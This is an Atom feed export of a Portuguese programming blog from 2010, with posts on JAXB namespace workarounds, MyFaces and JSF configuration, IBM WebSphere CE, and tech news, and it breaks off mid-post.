<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3084292271237138502</id><updated>2012-02-16T03:25:00.003-08:00</updated><title type='text'>Polentero - |$@|@$</title><subtitle type='html'>Informática, programação - Java, Php, .NET, Delphi, Phyton, Ruby, Dhtml.
&lt;br&gt;
Seja bem vindo!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>61</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-3919229833868568762</id><published>2010-12-17T07:47:00.001-08:00</published><updated>2010-12-17T07:47:56.093-08:00</updated><title type='text'>MARIO GTA AGITA O MUNDO DOS GAMES</title><content type='html'>&lt;object width="640" height="390"&gt;&lt;param name="movie" value="http://www.youtube.com/v/KtqlDTWE5-0&amp;hl=pt_BR&amp;feature=player_embedded&amp;version=3"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/KtqlDTWE5-0&amp;hl=pt_BR&amp;feature=player_embedded&amp;version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="390"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-3919229833868568762?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/3919229833868568762/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=3919229833868568762&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3919229833868568762'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3919229833868568762'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2010/12/mario-gta-agita-o-mundo-dos-games.html' title='MARIO GTA AGITA O MUNDO DOS GAMES'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-7249732985453238162</id><published>2010-08-16T13:22:00.001-07:00</published><updated>2010-08-16T13:22:54.095-07:00</updated><title type='text'>Oracle processa Google por violação de patente</title><content type='html'>A fabricante de software Oracle entrou com processo contra o Google na quinta-feira, 12, por violação de propriedade intelectual. Ela acusa o site de buscas de ter utilizado a tecnologia Java, cuja patente pertence à Sun Microsystems, que foi comprada pela Oracle no ano passado, no desenvolvimento do sistema operacional para dispositivos móveis Android. &lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.tiinside.com.br/13/08/2010/oracle-processa-google-por-violacao-de-patente/ti/195035/news.aspx"&gt; Leia mais aqui &lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-7249732985453238162?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/7249732985453238162/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=7249732985453238162&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7249732985453238162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7249732985453238162'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2010/08/oracle-processa-google-por-violacao-de.html' title='Oracle processa Google por violação de patente'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-1519785157847026341</id><published>2010-07-01T10:11:00.001-07:00</published><updated>2010-07-01T10:11:39.246-07:00</updated><title type='text'>Java 4 ever o filme para todos os nerds</title><content type='html'>&lt;object width="640" height="385"&gt;&lt;param name="movie" value="http://www.youtube.com/v/A1zySeNpW20&amp;border=1&amp;color1=0x6699&amp;color2=0x54abd6&amp;hl=pt_BR&amp;feature=player_embedded&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/A1zySeNpW20&amp;border=1&amp;color1=0x6699&amp;color2=0x54abd6&amp;hl=pt_BR&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="385"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-1519785157847026341?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/1519785157847026341/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=1519785157847026341&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/1519785157847026341'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/1519785157847026341'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2010/07/java-4-ever-o-filme-para-todos-os-nerds.html' title='Java 4 ever o filme para todos os nerds'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-905347356406706413</id><published>2010-05-27T08:32:00.000-07:00</published><updated>2010-05-27T08:34:51.668-07:00</updated><title type='text'>IBM WebSphere Application Server Community Edition</title><content type='html'>A IBM aplicou toda sua tecnologia e experiência no desenvolvimento&lt;br /&gt;de um servidor de aplicação que é uma versão extendida do Apache Gerônimo: WebSphere Application Server Community Edition.&lt;br /&gt;Essa versão prima pela simplicidade e eficiência em um ambiente&lt;br /&gt;onde você pode criar, implementar, integrar e hospedar suas&lt;br /&gt;aplicações sem custo algum.&lt;br /&gt;&lt;br /&gt;Criado sobre Apache Geronimo, o servidor de aplicação Community Edition da IBM utiliza as últimas inovações da comunidade de código aberto, incluindo Apache Tomcat. Você pode usar o WebSphere Application Server Community Edition para desenvolver e hospedar suas aplicações para fins comerciais e pessoais.&lt;br /&gt;&lt;br /&gt;O WebSphere Application Server CE simplifica a criação de aplicativos menos críticos de nível departamental com custo mais baixo, baseado em servidor de Aplicativo Java EE Open Source. &lt;br /&gt;&lt;br /&gt;Link download: http://www.servidordeaplicacao.com.br/opensource?d=3&lt;br /&gt;&lt;br /&gt;Acesse &lt;a href="http://www-01.ibm.com/software/webservers/appserv/community/" target="_blank"&gt; este link e saiba tudo &lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-905347356406706413?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/905347356406706413/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=905347356406706413&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/905347356406706413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/905347356406706413'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2010/05/ibm-websphere-application-server.html' title='IBM WebSphere Application Server Community Edition'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-1522423766411775139</id><published>2010-04-12T08:56:00.000-07:00</published><updated>2010-04-12T09:04:42.883-07:00</updated><title type='text'>org.apache.myfaces.custom.aliasbean.AliasBean</title><content type='html'>A Tag aliasBean permite criar um nome temporarário para um Bean existente. Ele se torna visível somente à tags filhas do AliasBean.&lt;br /&gt;&lt;br /&gt;É como se fosse uma simulação de um novo escopo interno para o JSP, com ele você consegue fazer com quem um pequeno trecho do seu código se comporte com algumas funcionalidades que você teria costumeiramente apenas em uma página nova. Em alguns casos tu conseguirás substituir trechos que podem ser colocados em subViews. Já falamos aqui de alguns pontos importantes em como as subviews são tratadas pelo framework e da alocação limitada que existe automaticamente dependendo da forma como o viewstate esta configurado para as páginas. Neste caso você tanbém poderá utilizar o AliasBean como forma de delegar funções específicas à ela e contidas no seu ALIAS ou temporário Bean.&lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;Veja um exemplo retirado da especificação do MyFaces Tomahawk for JSF 1.1:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&amp;lt;t:aliasBean alias=&amp;quot;#{holder}&amp;quot; value=&amp;quot;#{aliasTest1}&amp;quot;&amp;quot; &amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;f:subview id=&amp;quot;simulatedIncludedSubform1&amp;quot;&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;h:outputLabel for=&amp;quot;name&amp;quot; value=&amp;quot;Name:&amp;quot;/&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;h:inputText id=&amp;quot;name&amp;quot; value=&amp;quot;#{holder.name}&amp;quot;/&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/f:subview&amp;gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;lt;/t:aliasBean&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Comentários originais desta Tag que citamos aqui:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;The aliasBean tag allows you to create a temporary name for a real bean. The temporary name exists (is visible) only to the children of the aliasBean.&lt;br /&gt;&lt;br /&gt;One use of this feature is to pass "parameters" from an including page to an included one. The included page can use any name it desires for beans it needs to reference, and the including page can then use aliasBean to make those names refer to the beans it wishes to "pass" as parameters.&lt;br /&gt;&lt;br /&gt;Suppose you have a block of components you use often but with different beans. You can create a separate JSP page (or equivalent) containing these beans, where the value-bindings refer to some fictive bean name. Document these names as the required "parameters" for this JSP page. Wherever you wish to use this block you then declare an alias component mapping each of these "parameters" to whatever beans (or literal values) you really want to apply the block to, then use jsp:include (or equivalent) to include the reusable block of components.&lt;br /&gt;&lt;br /&gt;Note, however, that AliasBean does not work for component bindings; JSF1.1 just has no mechanism available to set up the alias during the "restore view" phase while the bindings of its children are being re-established, and then remove the alias after the child bindings are done.&lt;br /&gt;&lt;br /&gt;As a special case, if this component's direct parent is an AliasBeansScope then the alias (temporary name) is active until the end of the parent component, rather than the end of this component. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;FONTE ORIGINAL: &lt;a href="http://myfaces.apache.org/tomahawk-project/tomahawk/tagdoc/t_aliasBean.html" target="_blank"&gt;http://myfaces.apache.org/tomahawk-project/tomahawk/tagdoc/t_aliasBean.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-1522423766411775139?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/1522423766411775139/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=1522423766411775139&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/1522423766411775139'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/1522423766411775139'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2010/04/orgapachemyfacescustomaliasbeanaliasbea.html' title='org.apache.myfaces.custom.aliasbean.AliasBean'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-2685061847436127788</id><published>2010-04-08T12:00:00.000-07:00</published><updated>2010-04-08T13:29:37.244-07:00</updated><title type='text'>JAXB E O MALDITO NS2</title><content type='html'>Se você precisou atribuir um namespace a um xml sendo que o marshall precisa ser feito sem declaração de "xmlns:ns2" não tem santo que faça o JAXB remover isso, andei pesquisando bastante e devido à pressa para solucionar o problema achei 2 soluções que não são as melhores, porém resolvem o problema.&lt;br /&gt;&lt;br /&gt;1: Remover o nodo do XML ns2 no parse:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# NodeList elements = doc.getElementsByTagName("infNFe");  &lt;br /&gt;#     Element el = (Element) elements.item(i);  &lt;br /&gt;#     String id = el.getAttribute("Id");  &lt;br /&gt;#      // aqui ocorre a remoção do atributo...&lt;br /&gt;#      doc.getDocumentElement().removeAttribute("xmlns:ns2");  &lt;br /&gt;#      ((Element)  &lt;br /&gt;#      doc.getDocumentElement().getElementsByTagName("NFe").item(0))  &lt;br /&gt;#      .setAttribute("xmlns", "http://www.portalfiscal.inf.br/nfe");  &lt;br /&gt;#   &lt;br /&gt;#      Create a DOM XMLSignatureFactory that will be used to  &lt;br /&gt;#      generate the enveloped signature.  &lt;br /&gt;#   &lt;br /&gt;#     Reference ref = fac.newReference("#" + id, fac.newDigestMethod(  &lt;br /&gt;#             DigestMethod.SHA1, null), transformList, null, null);  &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Um exemplo completo do código em: &lt;br /&gt;&lt;a href="http://www.guj.com.br/posts/list/83758.java" target="_blank"&gt;http://www.guj.com.br/posts/list/83758.java&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Aqui uma gambiarra que foi usada até que se resolvesse da maneira acima:&lt;br /&gt;// passa-se o file a ser re-formatado como string&lt;br /&gt;public void ajustaXml(File file) throws Exception {&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;   &lt;br /&gt;     FileReader reader = new FileReader(file);&lt;br /&gt;     BufferedReader leitor = new BufferedReader(reader);&lt;br /&gt;     &lt;br /&gt;     leitor.read();&lt;br /&gt;     &lt;br /&gt;     String vlr = "";&lt;br /&gt;     StringBuffer vlrFile = new StringBuffer();&lt;br /&gt;     String line = leitor.readLine();&lt;br /&gt;     &lt;br /&gt;     while(line != null) {&lt;br /&gt;      vlrFile.append( line );&lt;br /&gt;      line = leitor.readLine(); &lt;br /&gt;     }&lt;br /&gt;     &lt;br /&gt;     vlr = vlrFile.toString();&lt;br /&gt;     &lt;br /&gt;     if (vlr.indexOf("ns2:") &gt; -1) {&lt;br /&gt;      vlr = vlr.replaceAll("ns2:", "");&lt;br /&gt;     }&lt;br /&gt;     &lt;br /&gt;     if (vlr.indexOf(":ns2") &gt; -1) {&lt;br /&gt;      vlr = vlr.replaceAll(":ns2", "");&lt;br /&gt;     }&lt;br /&gt;     &lt;br /&gt;     leitor.close();&lt;br /&gt;     reader.close();&lt;br /&gt;     &lt;br /&gt;     FileWriter writer = new FileWriter(file);&lt;br /&gt;     PrintWriter saida = new PrintWriter(writer);&lt;br /&gt;&lt;br /&gt;     saida.print( "&lt;" + vlr);&lt;br /&gt;          &lt;br /&gt;     writer.close();&lt;br /&gt;     saida.close();&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ambas maneiras acima resolvem o problema do ns2, e servem para remover o ns2 do jaxb, se alguem tiver uma solução melhor favor comentar.&lt;br /&gt;&lt;br /&gt;Assim que eu resolver de forma correta esse problema postarei aqui a resposta.&lt;br /&gt;&lt;br /&gt;Abraço&lt;br /&gt;&lt;br /&gt;&lt;br/&gt; &lt;br/&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;Conforme prometido.. segue solução abaixo:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;SOLUÇÃO CORRETA, SEM GAMBIARRAS (Setando um name space preferido) :&lt;br /&gt;&lt;br /&gt;SIm, há solução de personalizar os namespaces, no link:&lt;br /&gt;&lt;br /&gt;http://blogs.sun.com/enterprisetechtips/entry/customizing_jaxb&lt;br /&gt;&lt;br /&gt;Você encontra a solução.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Você precisa criar uma classe que estenda NamespacePrefixMapper vide:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[code]NamespacePrefixMapper m = new PreferredMapper();&lt;br /&gt;               marshal(jc, e, m);&lt;br /&gt;&lt;br /&gt;   public static class PreferredMapper extends NamespacePrefixMapper {&lt;br /&gt;           @Override&lt;br /&gt;           public String getPreferredPrefix(String namespaceUri, String suggestion, boolean requirePrefix) {&lt;br /&gt;               return "mappedNamespace" + namespaceUri;&lt;br /&gt;           }&lt;br /&gt;       }[/code]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Depois no seu marshaller voce seta:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;[code]final Marshaller marshaller = context.createMarshaller();&lt;br /&gt;        marshaller.setProperty(Marshaller.JAXB_FORMATTED_OUTPUT, true);&lt;br /&gt;        marshaller.setProperty(Marshaller.JAXB_ENCODING, "UTF-8");&lt;br /&gt;        marshaller.setProperty("com.sun.xml.internal.bind.namespacePrefixMapper",&lt;br /&gt;                new NamespacePrefixMapperImpl("http://www.isotc211.org/2005/gmd"));[/code]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Abraço&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-2685061847436127788?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/2685061847436127788/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=2685061847436127788&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/2685061847436127788'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/2685061847436127788'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2009/02/jaxb-e-o-maldito-ns2.html' title='JAXB E O MALDITO NS2'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-7239786637909995152</id><published>2010-01-19T12:06:00.000-08:00</published><updated>2010-01-19T12:09:19.717-08:00</updated><title type='text'>Aprenda a adicionar BIRT Reporting a aplicações usando RichFaces</title><content type='html'>&lt;span style="font-weight:bold;"&gt;"Learn how to add BIRT Reporting to JSF Applications using RichFaces"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pessoal, vai acontecer um webcast ao vivo no dia 9 de fevereiro. Pode ser bem produtivo, é uma iniciativa Exadel.&lt;br /&gt;&lt;br /&gt;Confira mais detalhes no link abaixo:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.actuate.com/be/info/techexadelwsem/"&gt;http://www.actuate.com/be/info/techexadelwsem/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Nos "vemos" lá.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-7239786637909995152?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/7239786637909995152/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=7239786637909995152&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7239786637909995152'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/7239786637909995152'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2010/01/aprenda-adicionar-birt-reporting.html' title='Aprenda a adicionar BIRT Reporting a aplicações usando RichFaces'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-3541390922567578234</id><published>2010-01-19T08:29:00.000-08:00</published><updated>2010-01-19T08:47:32.784-08:00</updated><title type='text'>Manuseando a propriedade NUMBER_OF_VIEWS_IN_SESSION</title><content type='html'>Mais um post referente à Java Server Faces e relacionado ao anterior sobre a propriedade javax.faces.STATE_SAVING_METHOD. &lt;br /&gt;&lt;br /&gt;É importante saber que existe um limite de Views a serem mantidos em Session, esse número de views, inclui qualquer tela que seja submetida simultâneamente em uma mesma sessão. Importante: Subviews tanbém contam (e como).&lt;br /&gt;&lt;br /&gt;Para resolver este problema, em casos onde você precisa que sua sessão dure bastante tempo e com muitas views a serem guardadas, você pode ampliar este número (o padrão é 20), segue um exemplo de configuração que pode ser incorporada no seu web.xml:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;&amp;lt;context-param&amp;gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;param-name&amp;gt;org.apache.myfaces.NUMBER_OF_VIEWS_IN_SESSION&amp;lt;/param-name&amp;gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;param-value&amp;gt;200&amp;lt;/param-value&amp;gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;description&amp;gt;Only applicable if state saving method is &amp;quot;server&amp;quot; (= default).&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Defines the amount (default = 20) of the latest views are stored in session.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;/description&amp;gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;lt;/context-param&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;No exemplo acima foi definido o número de 200 views, porém use com prudência essa propriedade, economize objetos em sessão e ganhe performance em sua aplicação.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3084292271237138502-3541390922567578234?l=polentero.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://polentero.blogspot.com/feeds/3541390922567578234/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3084292271237138502&amp;postID=3541390922567578234&amp;isPopup=true' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3541390922567578234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3084292271237138502/posts/default/3541390922567578234'/><link rel='alternate' type='text/html' href='http://polentero.blogspot.com/2010/01/orgapachemyfacesnumberofviewsinsession.html' title='Manuseando a propriedade NUMBER_OF_VIEWS_IN_SESSION'/><author><name>Ia</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3084292271237138502.post-5031253193791495872</id><published>2010-01-15T03:23:00.000-08:00</published><updated>2010-01-19T08:25:10.991-08:00</updated><title type='text'>javax.faces.STATE_SAVING_METHOD pode resolver problemas</title><content type='html'>Após algum tempo sem escrever no blog, venho aproveitar a ocasião para descrever uma experiência que tive durante a resolução de um problema. &lt;br /&gt;&lt;br /&gt;A maioria dos desenvolvedores que utiliza o framework JavaServerFaces acaba adotando por regra determinar a propriedade STATE_SAVING_METHOD como client, deixando a validação da renderização dos componentes no cliente ( cria-se um input hidden com o nome de ViewState ), é possível também deixar que essa responsabilidade fique no servidor de aplicações, definindo assim a propriedade com o valor "server". &lt;br /&gt;&lt;br /&gt;Basta verificar a seguinte configuração em seu web.xml:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;  &amp;lt;context-param&amp;gt;&lt;br /&gt;    &amp;lt;param-name&amp;gt;javax.faces.STATE_SAVING_METHOD&amp;lt;/param-name&amp;gt;&lt;br /&gt;    &amp;lt;param-value&amp;gt;server&amp;lt;/param-value&amp;gt; &lt;!-- ou client --&gt;&lt;br /&gt;  &amp;lt;/context-param&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Caso exista algum problema de validação na estrutura do seu código ( jspx, jsp, jsf ), e a propriedade server estiver definida, será possível que a validação ocorra em linha, ou seja, antes de renderizar a página o servidor irá fazer todas as validações necessárias ( se existe tal propriedade ou metodo, se existe mais de 1 componente com mesmo id, se seus conversores estao definidos de maneira correta, etc ), pois bem, muitas dessas validações são feitas indiferentemente do que se define no "saving_method", porém em alguns casos o "client" pode falhar.&lt;br /&gt;&lt;br /&gt;Ex: Caso você tenha utilizado jstl para fazer alguma verificação dos componentes, ex:&lt;br /&gt;&lt;br /&gt;&amp;lt;c:choose&amp;gt; &lt;br /&gt;   &amp;lt;c:when&amp;gt; test="${meuMBean.minhaCondicao}" &lt;br /&gt;        &amp;lt;t:inputHidden id="meuHiddenComIdRepetido" forceId="true" value="#{meuFacesMBean.meuValue}" /&amp;gt;&lt;br /&gt;   &amp;lt;/c:when&amp;gt; &lt;br /&gt;&amp;lt;/c:otherwise&amp;gt; &lt;br /&gt; &amp;lt;t:inputHidden id="meuHiddenComIdRepetido" forceId="true" value="#{meuFacesMBean.meuValue}" /&amp;gt;&lt;br /&gt;&amp;lt;/c:otherwise&amp;gt;&lt;br /&gt;&amp;lt;/c:choose&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Obs: Veja que o ID é o mesmo, isso não pode.&lt;br /&gt;&lt;br /&gt;Nesses casos, a validação client pode falhar. Muitos poderão dizer que o motivo é essa mistura do JSTL com JSF, porém em muitos casos se faz necessária, além de que você nunca sabe o que foi escrito no código antes de dar manutenção no mesmo, e pode ser que pensem diferente de você, portanto é preciso estar preparado para todos os casos. Outro argumento à favor é o fato de ser permitida essa adição, então se é permitida, logo é possível que ocorra e se o código funcionar assim, poderá causar erros inexplicáveis na aplicação, pois no momento em que for para o server, a validação irá falhar (e pode falhar de forma 